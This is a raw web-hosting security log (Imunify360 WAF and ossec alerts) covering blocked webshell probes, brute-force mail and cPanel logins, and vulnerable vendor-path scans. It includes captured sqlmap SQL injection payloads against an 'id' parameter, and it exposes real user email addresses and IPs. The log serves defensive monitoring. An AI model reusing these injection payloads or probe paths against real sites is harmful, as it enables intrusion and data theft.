domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=768301 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/img/photos/contact.php||SC:/home/indfinitydesign/public_html/img/photos/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 16:41:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:45493: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 16:43:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:57882: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.106.242
country_id: 3658394
domain: ahfengineering.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahfengineering.com/cgi-bin HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.33.43.48
country_id: 1168579
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=334061 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 16:43:21 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/druma_photos/csr.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 16:43:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:57882: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.53.110.66
country_id: 1733045
description:
[2026-01-13 16:44:15 +0800] info [webmaild] 60.53.110.66 - muslihin@sutsb.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.49
country_id: 690791
description:
Jan 13 16:45:15 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.49 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.82.163
country_id: 1512440
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=762538 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.10.196.106
country_id: 3469034
description:
Jan 13 16:47:44 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.10.196.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.246.73.51
country_id: 3277605
description:
Jan 13 16:47:14 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.246.73.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.142
country_id: 798544
description:
Jan 13 16:47:20 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.196
country_id: 298795
description:
Jan 13 16:48:45 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/img/photos/press.php||SC:/home/indfinitydesign/public_html/images/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.97.12.52
country_id: 2589581
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=621673 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.249.184
country_id: 3865483
description:
Jan 13 16:49:37 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.249.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.179.189.189
country_id: 3469034
description:
Jan 13 16:49:09 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.179.189.189 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/druma/private-residence.php||SC:/home/indfinitydesign/public_html/images/druma||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.41
country_id: 3175395
description:
Jan 13 16:49:35 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 16:51:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60200: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.190.206.244
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=583388 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.80.106
country_id: 1512440
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/drop/602/523449 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 16:51:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60202: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 61.6.237.57
country_id: 1820814
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/fzaninotto/faker/phpunit.xml.dist HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.14.191.140
country_id: 6252001
domain: 34.217.47.154
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/34.217.47.154/azenv5.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.65
country_id: 3865483
description:
Jan 13 16:53:22 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 16:54:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55767: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 16:54:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55768: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.138.92.142
country_id: 1733045
description:
[2026-01-13 16:54:36 +0800] info [webmaild] 175.138.92.142 - admin@saps.com.my "GET /cpsess0430047522/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.50.234.4
country_id: 3658394
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=2&sub=6 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.90
country_id: 3175395
description:
Jan 13 16:56:38 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.90 has been locked due to Imunify RBL


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 210.186.147.145
country_id: 1733045
domain: www.cordage.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:(select (case when (2013=8803) then 621977 else (select 8803 union select 5281) end))||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77210801
name: IM360 WAF: Request Indicates a Security Scanner Scanned the Site
abuser: 203.80.23.190
country_id: 1733045
domain: www.cordage.com.my
description:
IM360 WAF: Request Indicates a Security Scanner Scanned the Site||MV:sqlmap/1.8.4#stable (https://sqlmap.org)||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 203.80.23.190
country_id: 1733045
domain: www.cordage.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:621977) and extractvalue(1372,concat(0x5c,0x71786a6a71,(select (elt(1372=1372,1))),0x7178786271)) and (5977=5977||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.77.63.53
country_id: 1562822
description:
2026-01-13 16:59:33 dovecot_login authenticator failed for H=(213.5.130.181) [27.77.63.53]:50580: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.39.157.60
country_id: 1814991
description:
2026-01-13 16:59:52 dovecot_login authenticator failed for H=(190.2.145.188) [125.39.157.60]:53623: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.240.223
country_id: 1733045
description:
[2026-01-13 16:59:21 +0800] info [webmaild] 27.125.240.223 - celynnloh@mckd.com.my "POST /cpsess8706877058/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.240.82] != Current IP Address [27.125.240.223]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.244.192.175
country_id: 953987
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/park/13/502/1342511 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.208.201.118
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/sebastian/comparator/tests/_fixture HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.217.192.68
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/sebastian/comparator/tests/_fixture/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.43.133.50
country_id: 2658434
description:
Jan 13 17:05:27 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.43.133.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.43.133.50
country_id: 2658434
description:
2026-01-13 17:05:29 dovecot_login authenticator failed for H=(190.2.145.187) [179.43.133.50]:60682: 535 Incorrect authentication data (set_id=mdnaser@grandteknik.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.247.141
country_id: 933860
description:
Jan 13 17:05:26 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.247.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.225.218.233
country_id: 3469034
description:
Jan 13 17:06:38 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.225.218.233 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.8.240.44
country_id: 2017370
description:
Jan 13 17:07:01 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.8.240.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.8.240.44
country_id: 2017370
description:
2026-01-13 17:07:03 dovecot_login authenticator failed for H=([46.8.240.44]) [46.8.240.44]:38988: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.214.251.16
country_id: 6252001
description:
2026-01-13 17:07:08 dovecot_login authenticator failed for H=76-214-251-16.lightspeed.livnmi.sbcglobal.net ([127.0.0.1]) [76.214.251.16]:52424: 535 Incorrect authentication data (set_id=info@webhosting2u.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.239.35.22
country_id: 3175395
description:
Jan 13 17:06:18 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.239.35.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.37.112.188
country_id: 286963
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=960236 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.52.147.44
country_id: 1643084
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=456483 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 17:09:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:45503: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 17:09:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:45504: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.133
country_id: 3469034
description:
Jan 13 17:09:41 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 17:11:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:57892: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.176
country_id: 3469034
description:
Jan 13 17:11:09 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 17:11:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:57893: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.117.175
country_id: 798544
description:
Jan 13 17:11:35 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.117.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 156.239.203.65
country_id: 6252001
description:
[2026-01-13 17:12:38 +0800] info [whostmgrd] 156.239.203.65 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.129.19.25
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/mtdowling/cron-expression/tests/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/keyword/img/druma_photos/about.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.34.23.58
country_id: 248816
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/mtdowling/cron-expression/tests HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.79.53.3
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/debug/phpunit.xml.dist HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.50.70.34
country_id: 1814991
description:
2026-01-13 17:15:59 dovecot_login authenticator failed for H=([111.50.70.34]) [111.50.70.34]:57601: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/img/photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.50.70.34
country_id: 1814991
description:
Jan 13 17:15:57 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.50.70.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.165.221.113
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/listen/8/818426 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.243
country_id: 1814991
description:
Jan 13 17:15:42 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.243
country_id: 1814991
description:
2026-01-13 17:15:44 dovecot_login authenticator failed for H=([111.61.176.243]) [111.61.176.243]:24268: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.158
country_id: 3865483
description:
Jan 13 17:15:56 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.158
country_id: 3865483
description:
Jan 13 17:16:11 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/img/photos/testimonial.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 17:19:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60237: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.173.105.206
country_id: 1814991
description:
Jan 13 17:19:52 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.173.105.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
country_id: 1814991
description:
2026-01-13 17:19:54 dovecot_login authenticator failed for H=([60.173.105.206]) [60.173.105.206]:38407: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 17:19:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60238: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<p><span style=\"text-decoration: underline;\"><strong>tuesday 13-jan-26</strong></span></p>\r\n<ul>\r\n<li>update tsb container arrival worksheet.</li>\r\n<li>follow up all havens container eta port klang with liner.</li>\r\n<li>preparing si for farnam order.</li>\r\n<li>follow up with kk on booking shipment for malaysia order.</li>\r\n<li>provide information to kk(sha) for philippines order.</li>\r\n<li>checking with mr anuar on warehouse availability to arrange export and import containner.</li>\r\n<li>demeter container released but no space at the moment in warehouse, re-arrange to come in by 15-jan-26.</li>\r\n<li>provide ip to supplier</li>\r\n<li>checking k1 draft and preparing loi</li>\r\n<li>follow up and remind greenpen for export shipment t o manila</li>\r\n<li>preparing draft documentation for philippines order.</li>\r\n<li>update tpy import schedule.</li>\r\n<li>monitor on us consol arrangement.</li>\r\n<li>preparing shipping document for clearance.</li>\r\n<li>pass shipping documents to jess for posting.</li>\r\n</ul>||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.97.227
country_id: 6290252
description:
Jan 13 17:21:19 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.97.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.254.134
country_id: 3469034
description:
Jan 13 17:21:39 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.254.134 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.168.67.230
country_id: 3351879
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&page_id=3 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 17:22:11 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56015: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.49.152.114
country_id: 3996063
description:
Jan 13 17:22:22 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.49.152.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.115
country_id: 3175395
description:
Jan 13 17:22:53 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.199.161.144
country_id: 6252001
description:
Jan 13 17:23:04 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.199.161.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.199.161.144
country_id: 6252001
description:
2026-01-13 17:23:06 dovecot_plain authenticator failed for H=c-73-199-161-144.hsd1.nj.comcast.net (proveric) [73.199.161.144]:56410: 535 Incorrect authentication data (set_id=charles.loo@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.172.11.187
country_id: 1269750
description:
Jan 13 17:24:17 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.172.11.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.8.120.90
country_id: 3469034
description:
Jan 13 17:24:29 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.8.120.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.107.136.187
country_id: 690791
description:
2026-01-13 17:24:44 dovecot_plain authenticator failed for H=(unplic) [185.107.136.187]:53518: 535 Incorrect authentication data (set_id=peinee.seh@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.212.251.31
country_id: 690791
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phar-io/manifest/tests/values HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul type=\"disc\">\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">print out supplies invoice and statement in email</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">keyin supplies invoice - purchase invoices in software</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">payment to supplies and staff claim (do bank transfer-pending for approval) 13/1/26</li>\r\n</ul>||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.24.159.180
country_id: 3865483
domain: appointment.visoft.com.my
description:
